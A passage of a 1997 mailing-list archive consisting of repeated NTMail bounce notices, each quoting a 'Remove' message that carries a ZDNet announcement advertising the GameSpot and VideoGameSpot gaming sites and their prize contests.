>their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:26 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219869; Tue, 25 Feb 1997 17:10:05 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:05 -0500 >Message-Id: <22100527945878 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:26 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:26 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219877; Tue, 25 Feb 1997 17:10:16 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:16 -0500 >Message-Id: <22101619545886 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:29 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:29 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219876; Tue, 25 Feb 1997 17:10:14 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:14 -0500 >Message-Id: <22101493345885 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:30 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:30 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219870; Tue, 25 Feb 1997 17:10:06 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:06 -0500 >Message-Id: <22100656145879 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:35 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219875; Tue, 25 Feb 1997 17:10:13 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:13 -0500 >Message-Id: <22101345145884 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:35 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:35 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219880; Tue, 25 Feb 1997 17:10:20 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:20 -0500 >Message-Id: <22102016045891 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:36 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219883; Tue, 25 Feb 1997 17:10:24 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:24 -0500 >Message-Id: <22102463745896 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:36 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219886; Tue, 25 Feb 1997 17:10:28 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:28 -0500 >Message-Id: <22102857245899 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:36 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219887; Tue, 25 Feb 1997 17:10:29 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:29 -0500 >Message-Id: <22102990445900 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:51 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:51 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219841; Tue, 25 Feb 1997 17:09:26 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:26 -0500 >Message-Id: <22092695445848 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:52 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:52 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219845; Tue, 25 Feb 1997 17:09:32 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:32 -0500 >Message-Id: <22093222145852 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:08:59 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:08:59 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ia219864; Tue, 25 Feb 1997 17:09:57 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:57 -0500 >Message-Id: <22095773845871 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:01 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:01 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219860; Tue, 25 Feb 1997 17:09:52 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:52 -0500 >Message-Id: <22095235045867 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:07 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:07 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219861; Tue, 25 Feb 1997 17:09:53 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:53 -0500 >Message-Id: <22095365245868 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:09 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:09 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219873; Tue, 25 Feb 1997 17:10:10 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:10 -0500 >Message-Id: <22101080745882 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste 